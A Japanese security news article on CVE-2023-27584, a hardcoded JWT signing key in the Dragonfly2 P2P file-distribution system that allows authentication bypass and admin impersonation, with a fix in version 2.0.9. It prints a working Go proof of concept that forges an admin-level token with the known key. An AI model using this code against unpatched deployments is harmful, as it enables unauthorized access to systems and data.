Critical Dragonfly2 Flaw CVE-2023-27584: Hardcoded Key Threatens Admin Access
2024/09/22 SecurityOnline — Peer-to-Peer (P2P) をベースとするファイル配信システムを、オープンソースとして提供する Dragonfly2 に、深刻なセキュリティ脆弱性 CVE-2023-27584 (CVSS:9.8) が発見された。この脆弱性は、認証プロセスで使用される、ハードコードされた暗号化キーに起因するものであり、管理者権限での不正アクセスも許してしまうため、システムへの攻撃の可能性が生じる。

Cloud Native Computing Foundation(CNCF) がインキュベーション・レベルのプロジェクトとしてホストしている Dragonfly2 は、クラウドネイティブ・アーキテクチャにおけるファイル配信という、大きな課題に取り組むために設計されている。Dragonfly2 は、P2P ファイル共有を活用することで、クラウド環境におけるイメージの配布と展開を高速化するため、クラウド・ネイティブ技術を使用する開発者や組織にとって重要なツールになっている。
しかし、この脆弱性が発見されたことで、Dragonfly 2 2.0.8 以下のバージョンを使用しているシステムに、セキュリティ上の重大な懸念が生じている。
この脆弱性は、Dragonfly2 がユーザー ID を認証するために使用する、JSON Web Token (JWT) に存在する。通常において JWT は、トークンの真正性と完全性を確保するための秘密鍵に依存している。しかし、Dragonfly2 では、この鍵がソースコードに Secret Key としてハードコードされており、深刻なセキュリティ上の抜け穴が生じていることが判明した。それにより攻撃者は、既知の鍵を悪用して有効な JWT トークンの生成を達成し、認証措置を完全に回避することを可能にする。
この脆弱性の悪用は容易であり、以下の手順に従うことで、攻撃者による悪意の JWT トークンの生成が可能になる。
package main
import (
"errors"
"fmt"
"time"
"github.com/golang-jwt/jwt/v4"
)
func (stc *DragonflyTokenClaims) Valid() error {
// Verify expiry.
if stc.ExpiresAt <= time.Now().UTC().Unix() {
vErr := new(jwt.ValidationError)
vErr.Inner = errors.New("Token is expired")
vErr.Errors |= jwt.ValidationErrorExpired
return vErr
}
return nil
}
type DragonflyTokenClaims struct {
Id int32 `json:"id,omitempty"`
ExpiresAt int64 `json:"exp,omitempty"`
Issue int64 `json:"orig_iat,omitempty"`
}
func main() {
signingKey := "Secret Key"
token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Id: 1,
Issue: time.Now().Unix(),
})
signedToken, _ := token.SignedString([]byte(signingKey))
fmt.Println(signedToken)
}
この、偽造された JWT トークンを悪用する攻撃者は、悪意のリクエストを送信することで、機密データやサービスに制限なくアクセスできるようになる。つまり、この攻撃者は、あらゆるユーザーに成りすますことが可能になり、その中に管理者レベルの権限を持つユーザーも含まれることになる。

すでに Dragonfly2 の開発者は、この脆弱性をバージョン 2.0.9 で修正している。すべてのユーザーおよび組織に推奨されるのは、迅速なアップデートである。
Dragonfly2 は、クラウドネイティブ・アーキテクチャにおけるファイル配信のために設計され、がインキュベーション・レベルのプロジェクトとして、Cloud Native Computing Foundation(CNCF) にホストされているとのことです。たしかに、大量の大容量のファイルを、安全に高速で転送するテクノロジーが望まれていると思います。このようなニーズを背景とする、脆弱性 CVE-2023-27584 は大きな脅威となります。ご利用のチームは、ご注意ください。よろしければ、カテゴリ Cloud も、ご参照ください。
You must be logged in to post a comment.